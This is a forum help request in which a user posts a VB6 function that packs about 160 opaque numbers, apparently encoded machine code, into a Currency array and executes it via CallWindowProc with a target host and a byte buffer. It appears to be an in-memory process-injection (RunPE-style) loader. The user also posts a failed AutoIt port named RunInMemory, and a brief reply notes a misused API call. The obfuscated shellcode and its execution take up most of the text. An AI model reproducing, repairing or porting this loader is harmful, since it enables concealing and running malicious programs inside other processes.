help on code
I tried to ported this code in vb6 for Au3
Code:
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcW" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Function sMemory(ByVal TargetHost As String, bBuffer() As Byte)
Dim Asm(160) As Currency
Asm(0) = 3011782251321.1488@
Asm(1) = 2842944510165.0021@
Asm(2) = 21475170.7244@
Asm(3) = 3039972698908.2734@
Asm(4) = 0.0108@
Asm(5) = 0@
Asm(6) = 0@
Asm(7) = 0@
Asm(8) = 0@
Asm(9) = 0@
Asm(10) = 770918988510973.1328@
Asm(11) = 609196292101137.4146@
Asm(12) = 318076019310180.1508@
Asm(13) = -857485367476117.5446@
Asm(14) = 399392180.8913@
Asm(15) = -706833318868351.5511@
Asm(16) = 6879439133396.1731@
Asm(17) = 763810498335316.3776@
Asm(18) = 388654513.6166@
Asm(19) = 98506041997.169@
Asm(20) = 24964196938431.9488@
Asm(21) = 22034984796.16@
Asm(22) = 305625529718164.0704@
Asm(23) = -410459675325501.5192@
Asm(24) = -172419915909691.6991@
Asm(25) = 150655457759015.8157@
Asm(26) = 763810498295053.1535@
Asm(27) = -334758189796557.4082@
Asm(28) = 763810498175933.6042@
Asm(29) = 769693235337619.0272@
Asm(30) = 658651445508203.5218@
Asm(31) = 93228415366.4744@
Asm(32) = 337544363.4688@
Asm(33) = -171181400105556.1333@
Asm(34) = -43143787013419.7499@
Asm(35) = -843073848963811.6758@
Asm(36) = 586115344006226.9449@
Asm(37) = 81903309047.8335@
Asm(38) = -170655782147139.7888@
Asm(39) = -296106572219468.926@
Asm(40) = -171744351251070.9758@
Asm(41) = 478565684273270.0365@
Asm(42) = 766128157362243.3@
Asm(43) = 763822153521118.6688@
Asm(44) = -5798494293561.088@
Asm(45) = 292876624.968@
Asm(46) = -303308424893800.028@
Asm(47) = 18687314406408.1922@
Asm(48) = -814921249263117.9264@
Asm(49) = 377936345376908.9026@
Asm(50) = 914455950214871.0911@
Asm(51) = 793381819255881.7282@
Asm(52) = 247979454486563.4385@
Asm(53) = -842580059571706.7544@
Asm(54) = 261953043.9225@
Asm(55) = 1351124663940.1355@
Asm(56) = -5728895679889.4336@
Asm(57) = 16435523184027.2177@
Asm(58) = 453291086712582.9632@
Asm(59) = -171181401297649.6638@
Asm(60) = 247984901789109.5093@
Asm(61) = 763853927511347.5304@
Asm(62) = 68764336814004.0238@
Asm(63) = 377880083361326.677@
Asm(64) = 58153857883.8015@
Asm(65) = -170634502550313.984@
Asm(66) = -6846382739763.962@
Asm(67) = 217285200.5584@
Asm(68) = 273152312385105.8024@
Asm(69) = 13733354816300.6466@
Asm(70) = 764000768607145.1648@
Asm(71) = 17395153563837.4458@
Asm(72) = -353751767489869.7902@
Asm(73) = 763363.3281@
Asm(74) = 392094642558210.6624@
Asm(75) = 764766522162398.7432@
Asm(76) = 126410412043612.3678@
Asm(77) = 27351427555.8027@
Asm(78) = 11706747011255.5776@
Asm(79) = -757276053642969.088@
Asm(80) = 360268856045024.0513@
Asm(81) = 749398978656993.7514@
Asm(82) = 12354147786351.6251@
Asm(83) = 769693219347778.7648@
Asm(84) = 414640788194904.6822@
Asm(85) = -171181417231738.2261@
Asm(86) = 276807880992725.4373@
Asm(87) = -842805239553082.2424@
Asm(88) = 37043291672.0721@
Asm(89) = 507392545273423.744@
Asm(90) = 769258247064186.1864@
Asm(91) = 68764336812483.5886@
Asm(92) = 360268875651665.0832@
Asm(93) = 749398978495932.017@
Asm(94) = 9651988025294.3009@
Asm(95) = 769693219347778.7648@
Asm(96) = 126410412042563.7942@
Asm(97) = -171294008471547.0205@
Asm(98) = -387449256181707.5451@
Asm(99) = 363299752439103.6175@
Asm(100) = -410459675325517.2888@
Asm(101) = -172926570866094.7199@
Asm(102) = -635688100489173.3787@
Asm(103) = 763810497261576.6376@
Asm(104) = 126410412042144.3634@
Asm(105) = -843073849903335.4646@
Asm(106) = 769693215773368.7817@
Asm(107) = 414640788193698.8194@
Asm(108) = 4951342415221.7475@
Asm(109) = 4636260512845.0048@
Asm(110) = -171631782205882.368@
Asm(111) = 507388721888441.1549@
Asm(112) = 31815578412492.9256@
Asm(113) = -872572382190820.8041@
Asm(114) = -286501654647065.8048@
Asm(115) = -428658242031485.5343@
Asm(116) = 3149895693349.6588@
Asm(117) = 22752143878461.8496@
Asm(118) = 10655039450.0177@
Asm(119) = 19434514006.2976@
Asm(120) = 2249161163731.9936@
Asm(121) = 590215178835617.3824@
Asm(122) = -171519195984216.1688@
Asm(123) = 334471606820667.3981@
Asm(124) = -6937148713125.7624@
Asm(125) = 3006614124114.7186@
Asm(126) = 457802337043140.7336@
Asm(127) = 34749504.673@
Asm(128) = -843073850212036.239@
Asm(129) = 536232810004781.4409@
Asm(130) = 699902812802672.356@
Asm(131) = -439434742750697.5805@
Asm(132) = 756604737376275.6714@
Asm(133) = 869968633553.1604@
Asm(134) = 450404738465.792@
Asm(135) = -7194094211452.1344@
Asm(136) = -1353710065018.4752@
Asm(137) = -439079356974065.2545@
Asm(138) = 566676858034822.4232@
Asm(139) = 32602016.4622@
Asm(140) = -7089160921751.4365@
Asm(141) = 410061545662244.4496@
Asm(142) = 617979275378688@
Asm(143) = 725985904952471.1762@
Asm(144) = 854193482151915.9435@
Asm(145) = -842159216757581.13@
Asm(146) = 457592490565246.7766@
Asm(147) = 17684902147728.7019@
Asm(148) = 643884385768544.0491@
Asm(149) = 622040492439682.185@
Asm(150) = 842553683379673.7879@
Asm(151) = 865826324060815.6483@
Asm(152) = 233132869356380.6979@
Asm(153) = -841594865717950.1309@
Asm(154) = -598169487549740.1085@
Asm(155) = 22006038477175.2068@
Asm(156) = 843978581769276.108@
Asm(157) = -840178504924852.7391@
Asm(158) = -836852911227146.7764@
Asm(159) = 643884385767650.3812@
Asm(160) = 328436.0538@
CallWindowProc VarPtr(Asm(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0
End Function
Can someone help to pass to Au3 parametres ? thanks regards , I tried to make but are errors and cant solved
Code:
Global $AsmCode[161]
Func RunInMemory($TargetHost ,$bBuffer)
$AsmCode[0] = "3011782251321.1488@"
$AsmCode[1] = "2842944510165.0021@"
$AsmCode[2] = "21475170.7244@"
$AsmCode[3] = "3039972698908.2734@"
$AsmCode[4] = "0.0108@"
$AsmCode[5] = "0@"
$AsmCode[6] = "0@"
$AsmCode[7] = "0@"
$AsmCode[8] = "0@"
$AsmCode[9] = "0@"
$AsmCode[10] = "770918988510973.1328@"
$AsmCode[11] = "609196292101137.4146@"
$AsmCode[12] = "318076019310180.1508@"
$AsmCode[13] = "-857485367476117.5446@"
$AsmCode[14] = "399392180.8913@"
$AsmCode[15] = "-706833318868351.5511@"
$AsmCode[16] = "6879439133396.1731@"
$AsmCode[17] = "763810498335316.3776@"
$AsmCode[18] = "388654513.6166@"
$AsmCode[19] = "98506041997.169@"
$AsmCode[20] = "24964196938431.9488@"
$AsmCode[21] = "22034984796.16@"
$AsmCode[22] = "305625529718164.0704@"
$AsmCode[23] = "-410459675325501.5192@"
$AsmCode[24] = "-172419915909691.6991@"
$AsmCode[25] = "150655457759015.8157@"
$AsmCode[26] = "763810498295053.1535@"
$AsmCode[27] = "-334758189796557.4082@"
$AsmCode[28] = "763810498175933.6042@"
$AsmCode[29] = "769693235337619.0272@"
$AsmCode[30] = "658651445508203.5218@"
$AsmCode[31] = "93228415366.4744@"
$AsmCode[32] = "337544363.4688@"
$AsmCode[33] = "-171181400105556.1333@"
$AsmCode[34] = "-43143787013419.7499@"
$AsmCode[35] = "-843073848963811.6758@"
$AsmCode[36] = "586115344006226.9449@"
$AsmCode[37] = "81903309047.8335@"
$AsmCode[38] = "-170655782147139.7888@"
$AsmCode[39] = "-296106572219468.926@"
$AsmCode[40] = "-171744351251070.9758@"
$AsmCode[41] = "478565684273270.0365@"
$AsmCode[42] = "766128157362243.3@"
$AsmCode[43] = "763822153521118.6688@"
$AsmCode[44] = "-5798494293561.088@"
$AsmCode[45] = "292876624.968@"
$AsmCode[46] = "-303308424893800.028@"
$AsmCode[47] = "18687314406408.1922@"
$AsmCode[48] = "-814921249263117.9264@"
$AsmCode[49] = "377936345376908.9026@"
$AsmCode[50] = "914455950214871.0911@"
$AsmCode[51] = "793381819255881.7282@"
$AsmCode[52] = "247979454486563.4385@"
$AsmCode[53] = "-842580059571706.7544@"
$AsmCode[54] = "261953043.9225@"
$AsmCode[55] = "1351124663940.1355@"
$AsmCode[56] = "-5728895679889.4336@"
$AsmCode[57] = "16435523184027.2177@"
$AsmCode[58] = "453291086712582.9632@"
$AsmCode[59] = "-171181401297649.6638@"
$AsmCode[60] = "247984901789109.5093@"
$AsmCode[61] = "763853927511347.5304@"
$AsmCode[62] = "68764336814004.0238@"
$AsmCode[63] = "377880083361326.677@"
$AsmCode[64] = "58153857883.8015@"
$AsmCode[65] = "-170634502550313.984@"
$AsmCode[66] = "-6846382739763.962@"
$AsmCode[67] = "217285200.5584@"
$AsmCode[68] = "273152312385105.8024@"
$AsmCode[69] = "13733354816300.6466@"
$AsmCode[70] = "764000768607145.1648@"
$AsmCode[71] = "17395153563837.4458@"
$AsmCode[72] = "-353751767489869.7902@"
$AsmCode[73] = "763363.3281@"
$AsmCode[74] = "392094642558210.6624@"
$AsmCode[75] = "764766522162398.7432@"
$AsmCode[76] = "126410412043612.3678@"
$AsmCode[77] = "27351427555.8027@"
$AsmCode[78] = "11706747011255.5776@"
$AsmCode[79] = "-757276053642969.088@"
$AsmCode[80] = "360268856045024.0513@"
$AsmCode[81] = "749398978656993.7514@"
$AsmCode[82] = "12354147786351.6251@"
$AsmCode[83] = "769693219347778.7648@"
$AsmCode[84] = "414640788194904.6822@"
$AsmCode[85] = "-171181417231738.2261@"
$AsmCode[86] = "276807880992725.4373@"
$AsmCode[87] = "-842805239553082.2424@"
$AsmCode[88] = "37043291672.0721@"
$AsmCode[89] = "507392545273423.744@"
$AsmCode[90] = "769258247064186.1864@"
$AsmCode[91] = "68764336812483.5886@"
$AsmCode[92] = "360268875651665.0832@"
$AsmCode[93] = "749398978495932.017@"
$AsmCode[94] = "9651988025294.3009@"
$AsmCode[95] = "769693219347778.7648@"
$AsmCode[96] = "126410412042563.7942@"
$AsmCode[97] = "-171294008471547.0205@"
$AsmCode[98] = "-387449256181707.5451@"
$AsmCode[99] = "363299752439103.6175@"
$AsmCode[100] = "-410459675325517.2888@"
$AsmCode[101] = "-172926570866094.7199@"
$AsmCode[102] = "-635688100489173.3787@"
$AsmCode[103] = "763810497261576.6376@"
$AsmCode[104] = "126410412042144.3634@"
$AsmCode[105] = "-843073849903335.4646@"
$AsmCode[106] = "769693215773368.7817@"
$AsmCode[107] = "414640788193698.8194@"
$AsmCode[108] = "4951342415221.7475@"
$AsmCode[109] = "4636260512845.0048@"
$AsmCode[110] = "-171631782205882.368@"
$AsmCode[111] = "507388721888441.1549@"
$AsmCode[112] = "31815578412492.9256@"
$AsmCode[113] = "-872572382190820.8041@"
$AsmCode[114] = "-286501654647065.8048@"
$AsmCode[115] = "-428658242031485.5343@"
$AsmCode[116] = "3149895693349.6588@"
$AsmCode[117] = "22752143878461.8496@"
$AsmCode[118] = "10655039450.0177@"
$AsmCode[119] = "19434514006.2976@"
$AsmCode[120] = "2249161163731.9936@"
$AsmCode[121] = "590215178835617.3824@"
$AsmCode[122] = "-171519195984216.1688@"
$AsmCode[123] = "334471606820667.3981@"
$AsmCode[124] = "-6937148713125.7624@"
$AsmCode[125] = "3006614124114.7186@"
$AsmCode[126] = "457802337043140.7336@"
$AsmCode[127] = "34749504.673@"
$AsmCode[128] = "-843073850212036.239@"
$AsmCode[129] = "536232810004781.4409@"
$AsmCode[130] = "699902812802672.356@"
$AsmCode[131] = "-439434742750697.5805@"
$AsmCode[132] = "756604737376275.6714@"
$AsmCode[133] = "869968633553.1604@"
$AsmCode[134] = "450404738465.792@"
$AsmCode[135] = "-7194094211452.1344@"
$AsmCode[136] = "-1353710065018.4752@"
$AsmCode[137] = "-439079356974065.2545@"
$AsmCode[138] = "566676858034822.4232@"
$AsmCode[139] = "32602016.4622@"
$AsmCode[140] = "-7089160921751.4365@"
$AsmCode[141] = "410061545662244.4496@"
$AsmCode[142] = "617979275378688@"
$AsmCode[143] = "725985904952471.1762@"
$AsmCode[144] = "854193482151915.9435@"
$AsmCode[145] = "-842159216757581.13@"
$AsmCode[146] = "457592490565246.7766@"
$AsmCode[147] = "17684902147728.7019@"
$AsmCode[148] = "643884385768544.0491@"
$AsmCode[149] = "622040492439682.185@"
$AsmCode[150] = "842553683379673.7879@"
$AsmCode[151] = "865826324060815.6483@"
$AsmCode[152] = "233132869356380.6979@"
$AsmCode[153] = "-841594865717950.1309@"
$AsmCode[154] = "-598169487549740.1085@"
$AsmCode[155] = "22006038477175.2068@"
$AsmCode[156] = "843978581769276.108@"
$AsmCode[157] = "-840178504924852.7391@"
$AsmCode[158] = "-836852911227146.7764@"
$AsmCode[159] = "643884385767650.3812@"
$AsmCode[160] = "328436.0538@"
Dllcall ("User32","int" ,"CallWindowProcW" , VarPtr($AsmCode[0]), "str" ,$TargetHost, VarPtr($bBuffer[0]), 0, 0)
EndFunc
Func VarPtr($v_Variable)
Local $pointer, $debug = True
$pointer = DllCall("Kernel32", "long", "MulDiv", "ptr", $v_Variable)
Return $pointer
EndFunc
takes three arguments, and is a simple math function, which got nothing to do with pointers...
